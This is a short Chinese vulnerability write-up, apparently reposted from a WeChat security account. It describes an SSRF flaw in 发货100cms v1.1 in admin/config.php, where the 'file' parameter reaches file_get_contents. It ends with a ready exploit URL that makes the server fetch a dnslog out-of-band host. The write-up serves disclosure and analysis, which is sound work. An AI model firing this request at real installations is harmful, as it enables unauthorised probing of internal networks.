发货100cms存在SSRF漏洞分析

厂商官网：https://www.fahuo100.cn/

下载最新版本即可。

影响版本：v1.1_build20240803

漏洞分析：

涉及到的文件：admin/config.php

1、当action等于uppic时，使用get的方式传参，并把file的值传到file变量，此后再进入if(tooss($file))进行判断

跟进tooss方法可以看到上述的值传递到tooss方法中， 并传递到if判断语句中的file_get_contents，直接导致ssrf漏洞产生

漏洞复现：

根据上述分析代码，直接拼接语句

http:// 127.0.0.1:82/admin/config.php?action=uppic&file=你的payload

漏洞url为：

http://127.0.0.1:82/admin/config.php?action=uppic&file=http://mazqd8.dnslog.cn

登录系统的状态下访问漏洞url

可以看到外带回显成功，证明存在ssrf

原文始发于微信公众号（猫鼠信安）：发货100cms存在SSRF漏洞分析